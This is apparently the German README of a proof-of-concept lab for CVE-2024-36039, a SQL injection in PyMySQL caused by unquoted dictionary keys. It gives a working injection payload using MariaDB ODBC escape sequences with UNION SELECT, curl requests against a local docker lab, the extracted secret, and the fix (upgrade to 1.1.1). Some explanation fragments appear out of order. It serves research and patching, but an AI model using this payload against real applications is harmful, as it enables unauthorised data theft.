
PoC für CVE-2024-36039: Demonstration einer SQL-Injection durch einen Fehler in der PyMySQL Object-to-String-Serialisierung
Ein vollständiges, reproduzierbares Proof-of-Concept (PoC)-Labor für CVE-2024-36039, das zeigt, wie eine Objektinjektions-Schwachstelle in PyMySQL (Versionen <= 1.1.0) zu einer vollständigen SQL-Injection unter Verwendung von MariaDBs ODBC-Escape-Sequenzen eskaliert werden kann.
CVE-2024-36039 ist eine Schwachstelle in PyMySQL, einer reinen Python-MySQL-Client-Bibliothek.
Wenn parametrisierte Abfragen (z.B. execute("SELECT * FROM table WHERE data = %s", (my_dict,))) ein Python-Wörterbuch erhalten, bei dem die Schlüssel benutzerdefinierte Objekte anstelle von Standard-Strings sind, verwendet PyMySQL die __str__- oder __repr__-Methode des Objekts, um es in einen SQL-String zu serialisieren.
Der Fehler: PyMySQL vergisst, den resultierenden String des Objektschlüssels zu escapen (in einfache Anführungszeichen zu setzen).
Dies führt dazu, dass ein roher, nicht quotierter String direkt in die als Wörterbuch formatierte SQL-Anweisung eingefügt wird: {UnquotedObjectString: 'EscapedValue'}.
Allein das Einfügen von {UnquotedKey: 'Value'} in eine MariaDB-Abfrage löst einen 1064 Syntaxfehler aus, da {} keine standardmäßige SQL-Datensyntax ist.
MariaDB/MySQL unterstützt jedoch ODBC-Escape-Sequenzen, die geschweifte Klammern {} verwenden. Um den Syntaxfehler zu umgehen, muss der String unmittelbar nach der { ein gültiges ODBC-Schlüsselwort sein (z.B. d, t, ts, fn).
fn/* über seine __repr__-Methode zurückgibt.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB erkennt den Start einer ODBC-Skalarfunktion./*: "'*/ : MariaDB behandelt dies als Blockkommentar. Der Doppelpunkt : und das öffnende Anführungszeichen ', die von PyMySQL erzeugt wurden, werden vollständig ignoriert! 1} : Vervollständigt die ODBC-Funktion (gibt effektiv die ganze Zahl 1 zurück).Ergebnis: Eine einwandfreie SQL-Injection, die sowohl die Anwendungslogik als auch die Parametrisierung von PyMySQL umgeht!
Klonen Sie dieses Repository und starten Sie die Umgebung:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Warten Sie etwa 15-20 Sekunden, bis der MariaDB-Container vollständig initialisiert ist).
Senden Sie eine standardmäßige JSON-Anfrage. Das Backend wandelt den JSON-Schlüssel in ein CustomKey-Objekt um.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Antwort: Sie erhalten einen SQL-Syntaxfehler, der darauf hinweist, dass {yamato: "'Any_value'"} ungültiges SQL ist, was den Injektionspunkt bestätigt.
Injecten Sie die ODBC-Escape-Sequenz-Nutzlast, um den Syntaxfehler zu umgehen und die versteckte Flagge aus der secret-Tabelle zu extrahieren.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Antwort (GEKNACKT!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
Um diese Schwachstelle zu beheben, aktualisieren Sie PyMySQL auf Version 1.1.1 oder höher.
In den gepatchten Versionen stellen die Entwickler sicher, dass alle Wörterbuchschlüssel, unabhängig von ihrem Typ, ordnungsgemäß escaped und quotet werden, bevor sie in die SQL-Anweisung eingefügt werden.
pip install --upgrade PyMySQL
Haftungsausschluss: Dieses Repository wird nur für Bildungs- und Forschungszwecke erstellt. Verwenden Sie diese Techniken nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
© 2026 von zenniskayy. Entwickelt für ein sichereres Internet.
UNION SELECT 1, flag, 3 FROM secret-- '"} : Der SQL-Kommentar ignoriert den Rest des nachfolgenden Mülls ('}).